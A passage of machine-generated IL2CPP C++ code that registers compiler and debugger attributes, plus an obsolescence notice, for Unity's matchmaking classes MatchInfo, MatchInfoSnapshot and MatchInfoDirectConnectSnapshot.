DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CaccessTokenU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CnodeIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_U3CusingRelayU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_address_mD2E2A1FACE5451D7191ADAF11F7A7C3DD2BAF475(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_address_m3890A46355BE0177B9434F4EF1016C93E4C66E89(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_port_m927D4247843F4AEB1BD72AB83ED032DA92BDEEB7(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_port_m4F079B17EE7B17FEB5018568E245CD7BE4E8A889(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_domain_mB804D5569C380E91E62A56832EEFCD742953291A(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_domain_mD6A02961C3FCF81C65FF52F9E05AE1C9520C2057(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_networkId_m85F41C6EF913403668CF02D8E2161A97165B4F9F(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_networkId_mF06B1A76AE877FEF8F90091550CBE7C04395249C(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_accessToken_m359FEC01A40E84C1D44D7FE8B2B1A60F5D25A73F(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_nodeId_m8E065595B2BD6F97873189C5697402E44DAC58C9(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_nodeId_m33003F730A881B20E2971B5621FFE1C180F9B852(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_usingRelay_m7256FADA60AF340CA978CBFBE1A67944EEC19771(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_usingRelay_mDB319BCBB310B8BD802ED0DC5514ED75209B092A(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * tmp = (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 *)cache->attributes[0];
ObsoleteAttribute__ctor_mAC32A5CCD287DA84CDA9F08282C1C8B0DB7B9868(tmp, il2cpp_codegen_string_new_wrapper("\x54\x68\x65\x20\x6D\x61\x74\x63\x68\x6D\x61\x6B\x65\x72\x20\x61\x6E\x64\x20\x72\x65\x6C\x61\x79\x20\x66\x65\x61\x74\x75\x72\x65\x20\x77\x69\x6C\x6C\x20\x62\x65\x20\x72\x65\x6D\x6F\x76\x65\x64\x20\x69\x6E\x20\x74\x68\x65\x20\x66\x75\x74\x75\x72\x65\x2C\x20\x6D\x69\x6E\x69\x6D\x61\x6C\x20\x73\x75\x70\x70\x6F\x72\x74\x20\x77\x69\x6C\x6C\x20\x63\x6F\x6E\x74\x69\x6E\x75\x65\x20\x75\x6E\x74\x69\x6C\x20\x74\x68\x69\x73\x20\x63\x61\x6E\x20\x62\x65\x20\x73\x61\x66\x65\x6C\x79\x20\x64\x6F\x6E\x65\x2E"), NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CnetworkIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3ChostNodeIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CnameU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CaverageEloScoreU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CmaxSizeU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CcurrentSizeU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CisPrivateU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CmatchAttributesU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_U3CdirectConnectInfosU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_get_networkId_mF5A80C279C96F9E3DF9DEE15EF30513905FF1D94(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_networkId_m42E6ADF32A3C61014374C3A1ED0D81E4C503399F(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_hostNodeId_m6F821EBAB54B742B9DB89C3A0D6D3F92594BFDCD(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_get_name_m237C7E9A504A0859BCD11E64E0673BA24CC70098(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_name_m1445121C935DCF0ECCC95C99BCD0BCCC48717E6D(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_averageEloScore_mC3282AF93AB1EEC7A000CA6746368022D9A5C753(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_maxSize_m3395A6A69B1FE1011D201373000CC619D48281A7(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_currentSize_m6C711BD86215823980979BA1F641B3A2C4BCAED7(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_isPrivate_m084E967180A94041EB3800784FF06C2772D41FBE(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_matchAttributes_m82974C5D806695B0029F02B2D85F324BA746BB84(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_get_directConnectInfos_m0B9DA5AC8C3BE0B9709195356BDA9F837166095C(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_directConnectInfos_m77C6BD3239DD46327788981E828C5028709BE5ED(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_U3CnodeIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_U3CpublicAddressU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_U3CprivateAddressU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
